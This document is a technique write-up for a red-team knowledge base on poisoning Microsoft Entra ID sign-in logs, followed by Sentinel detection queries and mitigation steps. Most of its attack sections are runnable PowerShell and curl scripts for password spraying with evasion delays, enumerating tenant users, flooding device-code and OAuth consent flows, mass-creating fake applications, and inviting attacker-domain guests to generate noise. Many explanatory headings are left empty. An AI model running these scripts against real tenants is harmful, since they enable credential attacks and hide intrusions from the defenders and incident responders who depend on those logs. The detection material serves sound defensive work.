| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-039 |
| MITRE ATT&CK v18.1 | T1562.002 - Impair Defenses: Disable Windows Event Logging |
| Tactic | Defense Evasion |
| Platforms | Entra ID |
| Severity | HIGH |
| CVE | N/A (Architecture-based, not a vulnerability) |
| Technique Status | ACTIVE (Poisoning via log flooding and obfuscation) |
| Last Verified | 2025-01-10 |
| Affected Versions | All versions of Entra ID |
| Patched In | N/A - Requires architectural changes |
| Author | SERVTEP – Artur Pchelnikau |
Concept: This real-world technique involves poisoning Entra ID sign-in logs by either (1) injecting massive volumes of false sign-in events to obscure legitimate attacker activity (log flooding), (2) triggering failed login attempts that create noise in the logs, or (3) exploiting architectural gaps where certain authentication flows do not generate log entries at all. Unlike REALWORLD-038 (direct log deletion), this technique does not remove logs but instead makes them unreliable or unintelligible for forensic analysis. The goal is to create a “signal-to-noise” problem where the real attack is hidden among thousands of irrelevant log entries.
Attack Surface: Entra ID Sign-in Logs API, Azure AD sign-in endpoints, guest user authentication flows, service principal logons, OAuth consent grant flows.
Business Impact: Loss of visibility into attacker logons and lateral movement. Even if logs exist, SOC teams cannot quickly identify which login events are malicious vs. legitimate. Automated detection rules become unreliable when overwhelmed with noise. Incident response is significantly delayed as analysts manually sift through millions of logs.
Technical Context: Log poisoning attacks can take minutes to hours depending on the scale. Detection likelihood is MEDIUM if organizations monitor for abnormal login spike patterns, but LOW if they only review logs reactively. This attack is particularly effective against organizations with poor log indexing or SIEM tuning.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Azure 1.1.1 | Ensure appropriate logging is enabled for all authentication events. |
| DISA STIG | SI-4(1) | Detection of unauthorized or unusual activities and attacks. |
| CISA SCuBA | SA-4(2) | System monitoring must detect anomalies in user behavior. |
| NIST 800-53 | SI-4(2) | Information System Monitoring - Detect unusual activities. |
| GDPR | Art. 32 | Security of Processing - Organizations must have reliable logging. |
| DORA | Art. 16 | Detection of anomalies in user behavior. |
| NIS2 | Art. 21 | Cyber risk management includes detection of suspicious behavior. |
| ISO 27001 | A.12.4.1 | Event logging must be reliable and available for analysis. |
| ISO 27005 | Risk Scenario: “Loss of Visibility” | Detection systems must not be circumvented through noise injection. |
Supported Versions:
Tools:
Supported Versions: All Entra ID versions
Objective: Trigger massive numbers of failed sign-in attempts against multiple accounts, creating thousands of log entries that obscure the attacker’s actual logon.
Command (Using AADInternals):
# Import AADInternals
Import-Module AADInternals
# Get list of valid users in the tenant (via tenant discovery)
$users = Get-AADIntUsers -Domain "company.com"
$users | Select-Object UserPrincipalName, IsAdmin | Head -20
Expected Output:
UserPrincipalName IsAdmin
----------------- -------
john.doe@company.com False
jane.smith@company.com False
admin@company.com True
svc_account@company.com False
...
What This Means:
Command (Using MailSniper - optimized for M365):
# Download and import MailSniper
Import-Module MailSniper
# Create list of usernames
$usernames = Get-Content "C:\usernames.txt"
# Common passwords to spray (avoid account lockout by using weak passwords)
$passwords = @("Password123!", "Welcome2024!", "company.com", "123456789")
# Spray with rate limiting (avoid triggering MFA fatigue alerts)
foreach ($password in $passwords) {
Invoke-MailSniper -UserList $usernames -Password $password -Timeout 5
Start-Sleep -Seconds 60 # Wait 60 seconds between attempts to avoid rate limiting
}
Expected Output:
[+] Attempting to connect to Office 365...
[+] john.doe@company.com:Password123! - FAILED (401 Unauthorized)
[+] jane.smith@company.com:Password123! - FAILED (401 Unauthorized)
[+] admin@company.com:Password123! - FAILED (401 Unauthorized)
...
[+] Sprayed 500 accounts with 4 password attempts = 2000 failed logon attempts
What This Means:
ResultDescription = "Invalid username or password"OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: All Entra ID versions
Objective: Exploit the device code authentication flow (used for IoT/headless devices) to create sign-in log entries that don’t trigger conditional access or MFA alerts.
Command (PowerShell):
# Request a device code token (similar to what IoT devices do)
$tenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$clientId = "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Microsoft Graph default client
$body = @{
client_id = $clientId
scope = "https://management.azure.com/.default"
}
# Request device code
$response = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/devicecode" -Method POST -Body $body
Write-Output "Device Code: $($response.device_code)"
Write-Output "User Code: $($response.user_code)"
Write-Output "Verification URL: $($response.verification_uri)"
Expected Output:
Device Code: ABwA...GGgA
User Code: ABC12DEF
Verification URL: https://microsoft.com/devicelogin
What This Means:
Command (PowerShell):
# Repeatedly poll to get token (each poll can generate a log entry)
$tokenUri = "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token"
for ($i = 1; $i -le 1000; $i++) {
$body = @{
grant_type = "urn:ietf:params:oauth:grant-type:device_code"
device_code = $device_code
client_id = $clientId
}
try {
$tokenResponse = Invoke-RestMethod -Uri $tokenUri -Method POST -Body $body -ErrorAction SilentlyContinue
if ($tokenResponse.access_token) {
Write-Output "[+] Token obtained on attempt $i"
break
}
} catch {
# Token not ready yet, keep polling
}
Start-Sleep -Milliseconds 500 # Poll every 500ms
}
Write-Output "[+] Generated 1000+ sign-in log entries"
What This Means:
OpSec & Evasion:
Supported Versions: All Entra ID versions
Objective: Create multiple fake OAuth applications to generate sign-in logs via consent grant flows.
Command (PowerShell):
# Connect to Graph API
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# Create 50 fake applications with generic names
for ($i = 1; $i -le 50; $i++) {
$params = @{
DisplayName = "App-$i"
PublicClient = @{
RedirectUris = @("http://localhost:8080/callback")
}
}
$app = New-MgApplication @params
Write-Output "Created app: $($app.DisplayName) with ID $($app.AppId)"
}
Expected Output:
Created app: App-1 with ID 00000000-0000-0000-0000-000000000001
Created app: App-2 with ID 00000000-0000-0000-0000-000000000002
...
What This Means:
Command (Bash/curl):
#!/bin/bash
TENANT_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
APP_ID="00000000-0000-0000-0000-000000000001"
# Trigger OAuth consent flow 500 times
for i in {1..500}; do
# Each consent request generates a sign-in log entry
curl -X POST "https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/authorize" \
-d "client_id=$APP_ID&response_type=code&redirect_uri=http://localhost:8080&scope=.default&prompt=consent" \
-w "HTTP Status: %{http_code}\n" \
-o /dev/null \
-s
sleep 0.5 # Small delay between requests
done
echo "Generated 500+ sign-in log entries via OAuth consent flows"
What This Means:
OpSec & Evasion:
Supported Versions: All Entra ID versions (if B2B collaboration enabled)
Objective: Create numerous guest user accounts and trigger logon attempts to poison logs.
Command (PowerShell):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Invitation.ReadWrite.All"
# Create 100 guest user invitations
for ($i = 1; $i -le 100; $i++) {
$params = @{
InvitedUserEmailAddress = "guest$i@attacker-domain.com"
InviteRedirectUrl = "https://myapps.microsoft.com"
}
$invite = New-MgInvitation @params
Write-Output "Invited guest: guest$i@attacker-domain.com"
}
Expected Output:
Invited guest: guest1@attacker-domain.com
Invited guest: guest2@attacker-domain.com
...
What This Means:
Command (Bash):
# Create a file with guest email addresses
cat > guests.txt << EOF
guest1@attacker-domain.com
guest2@attacker-domain.com
...
EOF
# For each guest, attempt sign-in and trigger logon log entry
while IFS= read -r guest; do
curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46" \
-d "username=$guest" \
-d "password=wrongpassword" \
-d "grant_type=password" \
-d "scope=.default" \
-w "Status: %{http_code}\n" \
-o /dev/null \
-s
done < guests.txt
echo "Generated sign-in log entries for all guest users"
What This Means:
Supported Versions: All Entra ID versions
Objective: Exploit legitimate Azure services to generate massive volumes of sign-in logs.
Command (PowerShell):
# This creates multiple sign-in log entries by accessing various Azure services
for ($i = 1; $i -le 1000; $i++) {
# Query Azure resources repeatedly
try {
Get-AzSubscription -ErrorAction SilentlyContinue | Out-Null
Get-AzResourceGroup -ErrorAction SilentlyContinue | Out-Null
Get-AzVM -ErrorAction SilentlyContinue | Out-Null
} catch {}
if ($i % 100 -eq 0) {
Write-Output "Generated $i access attempts"
}
}
What This Means:
OpSec & Evasion:
Manual Steps (Sentinel Detection Rule):
Detect Sign-in Log Poisoning via Volume SpikeSigninLogs
| summarize LoginCount=count() by bin(TimeGenerated, 5m), ResultStatus
| where LoginCount > 1000 // Alert if more than 1000 logins in 5 minutes
| project TimeGenerated, ResultStatus, LoginCount
Why This Helps:
Manual Steps (Built-in Sentinel Rule):
Why This Helps:
Manual Steps (Azure Portal):
Why This Helps:
Manual Steps:
Require Device Compliance for Sign-inWhy This Helps:
Manual Steps (Detection Rule):
SigninLogs
| where ResultType != "0" // Failed attempts
| summarize FailedLogins=count() by UserPrincipalName, TimeGenerated=bin(TimeGenerated, 10m)
| where FailedLogins > 5 // More than 5 failed logins in 10 minutes per user
| join kind=inner (SigninLogs | where ResultType != "0" | project UserPrincipalName) on UserPrincipalName
Why This Helps:
Manual Steps:
Require MFA for All UsersWhy This Helps:
Manual Steps:
Block Legacy AuthenticationWhy This Helps:
# Check if Impossible Travel detection is enabled
Get-MgBetaRiskyUser | Select-Object UserDisplayName, RiskLevel
# Verify Conditional Access policies exist
Get-MgConditionalAccessPolicy | Select-Object DisplayName, State
# Monitor current sign-in volume (baseline)
Search-UnifiedAuditLog -StartDate (Get-Date).AddHours(-1) -Operations "UserLoggedIn" | Measure-Object
Expected Output (If Secure):
Count: 50-200 logins in the last hour (normal business activity)
ResultType != "0" to see failed attemptsUpdate-MgUser -UserId "targeted-user@company.com" -AccountEnabled:$false
This technique violates logging requirements in GDPR, NIST 800-53, and ISO 27001 by rendering logs unreliable for forensic analysis.